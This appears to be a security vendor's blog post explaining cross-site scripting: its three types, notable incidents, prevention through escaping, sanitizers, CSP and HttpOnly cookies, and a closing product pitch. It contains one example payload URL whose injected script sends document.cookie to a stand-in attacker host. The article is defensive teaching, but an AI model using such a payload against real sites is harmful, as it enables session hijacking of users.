A stored XSS bug in a comment field. A reflected XSS bug in a search parameter. A DOM-based XSS bug in a single-page app's client-side router. All three let an attacker run their own JavaScript inside another user's browser session on your site — stealing session cookies, forging actions, or rewriting the page the victim sees. As a cross site scripting vulnerability class, XSS has held a spot in the OWASP Top 10 since the list's first edition in 2003, and MITRE's 2023 CWE Top 25 ranked it the second most dangerous software weakness in existence, just behind out-of-bounds writes. It's old, it's well understood, and it still ships in production code every day because a single unescaped template variable or one innerHTML call is enough to open the door. Here's what XSS actually is, how it plays out in real incidents, and how to close it off in your own codebase.
What is cross-site scripting (XSS)?
Cross-site scripting is a vulnerability that lets an attacker inject malicious script into a web page so it executes in another user's browser under that page's trust. It's tracked as CWE-79 and classified under the OWASP Top 10's A03:2021 – Injection category. The "cross-site" name is a bit of a misnomer left over from the 1990s: the attacker's script doesn't come from another site at runtime, it gets smuggled into your site's own HTML or JavaScript and then runs with your site's origin, cookies, and permissions. That's what makes it dangerous — the browser has no reason to distrust code that appears to come from the page it's already on.
The root cause is almost always the same: untrusted input (a URL parameter, a form field, a JSON API response, an uploaded filename) ends up rendered into HTML, an attribute, a script block, or the DOM without being escaped or sanitized for that context.
How does an XSS attack actually work?
An XSS attack works by getting the victim's browser to execute attacker-controlled JavaScript in the context of a trusted site, typically to steal session tokens or perform actions as the victim. A classic flow, and a good xss scripting example to keep in mind: an attacker crafts a URL like https://shop.example.com/search?q=<script>fetch('https://evil.example/c?'+document.cookie)</script>, sends it to a victim, and if the search page reflects the q parameter into the results HTML without escaping, the victim's browser runs that script the moment the page loads. The script reads document.cookie and ships the session token to the attacker's server. From there, the attacker replays that cookie and is logged in as the victim — no password needed.
Stored variants skip the social-engineering step entirely: the payload sits in a database (a comment, a profile bio, a support ticket) and fires automatically for every user who views that content, which is why stored XSS tends to be rated more severely in CVSS scoring — it needs no victim interaction at all.
What are the three types of XSS, and why does the distinction matter?
The three recognized types are reflected, stored, and DOM-based XSS, and the distinction matters because each demands a different fix at a different layer of the stack. Reflected XSS bounces the payload off the server in a single request-response cycle (query parameters, form errors, redirect messages) and requires the victim to click a crafted link. Stored XSS persists the payload server-side — the August 2014 TweetDeck incident is a textbook case: a stored XSS payload in a tweet's text caused it to self-retweet across roughly 80,000 accounts within about an hour before Twitter pulled TweetDeck offline to patch it. DOM-based XSS never touches the server at all; it happens entirely client-side when JavaScript takes a value from location.hash, document.referrer, or a postMessage payload and writes it into the DOM via innerHTML, document.write, or eval — this is the type static server-side scanners routinely miss because the vulnerable data flow lives entirely in the frontend bundle.
Getting the type wrong changes your fix: reflected and stored XSS are closed with server-side output encoding, while DOM-based XSS requires fixing the client-side sink itself, often in a JavaScript framework or a third-party library you didn't write.
How common is XSS in real-world vulnerabilities and breaches?
XSS remains one of the most frequently disclosed vulnerability classes, accounting for roughly 12,000+ CVE entries tagged CWE-79 in the National Vulnerability Database as of 2026, more than almost any other single weakness type. It's not just legacy code either: CVE-2020-11023, a DOM-based XSS bug in jQuery's .html(), .append(), and related methods when handling <option> elements, affected every jQuery version before 3.5.0 — a library still bundled in a large share of production JavaScript in 2026. On the incident side, the October 2005 Samy worm on MySpace used a stored XSS payload to add "Samy is my hero" to victims' profiles and auto-friend the attacker, infecting more than one million profiles in under 24 hours and forcing MySpace offline to remediate. In January 2019, Check Point researchers disclosed an XSS and OAuth token flaw in Fortnite's login flow that could have let an attacker take over an account using nothing but a crafted link — no password required, against a user base Epic Games put at over 200 million accounts at the time.
How do you prevent XSS in your code?
You prevent XSS by treating every piece of untrusted data as unsafe until it's encoded for the exact context it lands in, and by never letting user input reach a raw DOM sink or template without that step. Concretely: use your framework's default auto-escaping (React's JSX, Vue's {{ }} bindings, Django templates) instead of dangerouslySetInnerHTML, v-html, or |safe filters, which explicitly opt out of escaping. For anywhere you must render raw HTML, run it through a maintained sanitizer such as DOMPurify rather than a hand-rolled regex strip — regex-based HTML filtering has a long history of being bypassed with encoding tricks and malformed tags. Set a Content-Security-Policy header with a strict script-src (ideally nonce- or hash-based, not 'unsafe-inline') as a defense-in-depth backstop so that even a missed encoding bug can't execute an injected script. Mark session cookies HttpOnly so client-side script can't read them even if an XSS bug slips through, and pair that with SameSite=Strict or Lax to blunt related cross-site attacks. Finally, keep front-end dependencies patched — the jQuery CVE-2020-11023 example above sat in dependency trees for years after a fix existed simply because nobody re-audited the lockfile.
How Safeguard Helps
Safeguard's reachability analysis traces whether an XSS-vulnerable code path — in your own code or in a dependency like an outdated jQuery build — is actually invoked by a route or component your application ships, so triage starts with the sinks attackers can reach instead of every CWE-79 match a scanner finds. Griffin AI reviews the specific data flow from source to sink (a request parameter into an innerHTML call, for example) and explains in plain language why a given instance is exploitable or why it's dead code, cutting through the noise that makes XSS findings notoriously hard to prioritize. Safeguard generates and ingests SBOMs so you have a standing inventory of every frontend library — jQuery, template engines, sanitizer versions — that could reintroduce a known XSS CVE after your next dependency bump. And where the fix is mechanical, such as swapping an unescaped template tag for an auto-escaping one or bumping a patched library version, Safeguard opens an auto-fix pull request so the vulnerable pattern is closed before it ever reaches production.